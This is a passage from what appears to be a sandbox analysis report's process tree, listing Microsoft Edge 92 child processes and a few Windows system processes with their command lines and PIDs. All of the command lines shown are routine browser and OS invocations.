  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3428 /prefetch:8
  2⤵
  PID:5196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3948 /prefetch:1
  2⤵
  PID:1012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1
  2⤵
  PID:6156
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3172 /prefetch:8
  2⤵
  PID:5668
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3172 /prefetch:8
  2⤵
  PID:328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:1
  2⤵
  PID:6788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:4624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5940 /prefetch:1
  2⤵
  PID:2792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5344 /prefetch:1
  2⤵
  PID:5740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2128,9716417903580848715,10010350215588299847,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4468 /prefetch:8
  2⤵
  PID:6632

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:748

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5832

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x470 0x490
1⤵
PID:4960

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
1⤵
- Enumerates system info in registry
- NTFS ADS
PID:1104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fffd85346f8,0x7fffd8534708,0x7fffd8534718
  2⤵
  PID:772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2180 /prefetch:2
  2⤵
  PID:7088
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 /prefetch:3
  2⤵
  PID:1364
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2804 /prefetch:8
  2⤵
  PID:4168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:1
  2⤵
  PID:1596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3448 /prefetch:1
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4372 /prefetch:1
  2⤵
  PID:7052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5124 /prefetch:1
  2⤵
  PID:5692
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
  2⤵
  PID:3220
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5328 /prefetch:8
  2⤵
  PID:4920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5436 /prefetch:1
  2⤵
  PID:5072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4456 /prefetch:1
  2⤵
  PID:5208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5236 /prefetch:1
  2⤵
  PID:3420
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4432 /prefetch:1
  2⤵
  PID:5344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5268 /prefetch:1
  2⤵
  PID:6668
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5680 /prefetch:1
  2⤵
  PID:6012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4152 /prefetch:1
  2⤵
  PID:6040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
  2⤵
  PID:1828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5272 /prefetch:1
  2⤵
  PID:2484
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5252 /prefetch:1
  2⤵
  PID:4840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4308 /prefetch:8
  2⤵
  PID:7148
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
  2⤵
  PID:4440
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5292 /prefetch:1
  2⤵
  PID:1084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6052 /prefetch:1
  2⤵
  PID:4732
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5196 /prefetch:1
  2⤵
  PID:5156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5652 /prefetch:1
  2⤵
  PID:4056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6480 /prefetch:1
  2⤵
  PID:1684
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6196 /prefetch:1
  2⤵
  PID:2628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6812 /prefetch:1
  2⤵
  PID:5168
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
  2⤵
  PID:5812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6648 /prefetch:1
  2⤵
  PID:4832
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7036 /prefetch:1
  2⤵
  PID:2444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5520 /prefetch:1
  2⤵
  PID:6416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5760 /prefetch:1
  2⤵
  PID:6432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6540 /prefetch:1
  2⤵
  PID:5680
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6552 /prefetch:1
  2⤵
  PID:6808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5420 /prefetch:1
  2⤵
  PID:764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5308 /prefetch:1
  2⤵
  PID:5628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5860 /prefetch:8
  2⤵
  PID:3080
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5212 /prefetch:1
  2⤵
  PID:5112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7300 /prefetch:1
  2⤵
  PID:2164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=7524 /prefetch:2
  2⤵
  PID:5844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7400 /prefetch:1
  2⤵
  PID:6784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3864 /prefetch:1
  2⤵
  PID:2352
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7364 /prefetch:1
  2⤵
  PID:4828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8004 /prefetch:1
  2⤵
  PID:3056
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8188 /prefetch:1
  2⤵
  PID:6724
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7648 /prefetch:1
  2⤵
  PID:328
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8144 /prefetch:1
  2⤵
  PID:464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7908 /prefetch:1
  2⤵
  PID:116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2152,7964607782967826186,17511339689833700512,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7748 /prefetch:1
  2⤵
  PID:5576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
